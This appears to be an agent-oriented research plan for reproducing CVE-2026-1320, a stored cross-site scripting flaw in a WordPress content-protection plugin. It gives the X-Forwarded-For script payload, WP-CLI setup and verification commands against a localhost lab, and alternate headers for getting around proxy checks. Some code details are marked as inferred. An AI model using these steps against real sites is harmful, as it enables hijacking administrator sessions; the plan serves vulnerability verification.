Secure Copy Content Protection and Content Locking <= 4.9.8 - Unauthenticated Stored Cross-Site Scripting via X-Forwarded-For Header

This research plan outlines the steps to investigate and exploit CVE-2026-1320, a Stored Cross-Site Scripting (XSS) vulnerability in the "Secure Copy Content Protection and Content Locking" plugin.

---

1. Vulnerability Summary

The "Secure Copy Content Protection and Content Locking" plugin logs visitor information, including IP addresses, to provide security reports and content locking statistics. The plugin incorrectly trusts the X-Forwarded-For HTTP header as a source for the visitor's IP address. It fails to sanitize this input before storing it in the database and fails to escape it when displaying it in the WordPress admin dashboard (likely within the "Reports" or "Statistics" sections). This allows an unauthenticated attacker to inject arbitrary JavaScript that executes in the context of an administrative user.

2. Attack Vector Analysis

• Vulnerable Endpoint: Any frontend page or post (e.g., /, /?p=1).
• Vulnerable Header: X-Forwarded-For
• Authentication Level: Unauthenticated (Nopriv).
• Preconditions: The plugin must be active and configured to log visitor IP addresses (this is usually a default behavior for reporting).
• Sink Location: The WordPress Admin Dashboard, specifically the plugin's reporting pages.

3. Code Flow (Inferred)

1. Entry: A request is made to any public page.
2. IP Extraction: The plugin calls a function (e.g., get_ip_address()) that checks $_SERVER['HTTP_X_FORWARDED_FOR'] before $_SERVER['REMOTE_ADDR'].
3. Storage: The raw value from the header is passed to a database insertion query (e.g., $wpdb->insert into a table like wp_ay_sccp_reports or stored in wp_options).
4. Admin Access: An administrator navigates to the plugin's admin page (e.g., wp-admin/admin.php?page=ay_sccp_reports).
5. Sink: The admin page retrieves the logs and echoes the "IP" column directly into the HTML table without using esc_html() or esc_attr().

4. Nonce Acquisition Strategy

This vulnerability is Passive/Automatic. Since the logging occurs automatically upon visiting a page to "protect" content or "log" the visit, no WordPress nonce is required for the injection phase.

For the trigger phase (verifying the XSS), the agent will need to be logged in as an administrator to access the reports page.

5. Exploitation Strategy

Step 1: Identify the Reporting Admin Page

Use WP-CLI to find the exact menu slug registered by the plugin.

wp eval "print_r( \$GLOBALS['menu'] );"

Look for slugs containing sccp or ay_sccp.

Step 2: Inject the Payload

Send a request to the homepage with the XSS payload in the X-Forwarded-For header.

• Request Method: GET
• URL: http://localhost:8080/
• Headers:
  • X-Forwarded-For: <script>console.log('CVE-2026-1320_EXPLOITED');</script>
  • Content-Type: text/html

Step 3: Trigger the XSS

Log in as an administrator and navigate to the report page identified in Step 1.

• URL: http://localhost:8080/wp-admin/admin.php?page=[SLUG_FOUND_IN_STEP_1]
• Tool: browser_navigate followed by browser_eval("document.body.innerHTML") to check for the payload.

6. Test Data Setup

1. Install/Activate Plugin:

   wp plugin install secure-copy-content-protection --version=4.9.8 --activate
   

2. Ensure a Public Page Exists:

   wp post create --post_type=post --post_title='Vulnerable Page' --post_status=publish
   

3. Configuration: Check if logging is enabled (usually default). If specific "Content Locking" must be active, enable it for the created post:

   # Example (slug depends on plugin internals)
   wp option update ay_sccp_settings '{"enable_logging": "yes"}' 
   

7. Expected Results

• Injection: The HTTP request returns a 200 OK.
• Storage: The database table (e.g., wp_ay_sccp_reports) should now contain a row where the ip_address column matches the <script> payload.
• Execution: When navigating to the plugin's report page in the browser, the script should be rendered as raw HTML:

  <td><script>console.log('CVE-2026-1320_EXPLOITED');</script></td>
  

8. Verification Steps

1. Database Check:

   # Search for the payload in the database
   wp db query "SELECT * FROM wp_ay_sccp_reports WHERE ip_address LIKE '%<script>%';"
   

   (Note: Table name wp_ay_sccp_reports is an inferred name based on plugin slug; use wp db tables to confirm).
2. Browser Verification: Use browser_eval to confirm the script exists in the DOM of the admin page.

9. Alternative Approaches

If the plugin only logs attempts to bypass protection (e.g., right-clicking or selecting text), the payload must be delivered during a "forbidden" action:

1. Simulate Right-Click: Navigate to a protected page and use browser_eval to trigger a right-click event.
2. Simulate Text Selection: Use browser_eval to select text on the page, which may trigger the IP logging logic for "Content Protection".
3. Bypass Proxy Checks: If the plugin ignores X-Forwarded-For unless a specific proxy IP is detected, try common variations like Client-IP, X-Real-IP, or True-Client-IP.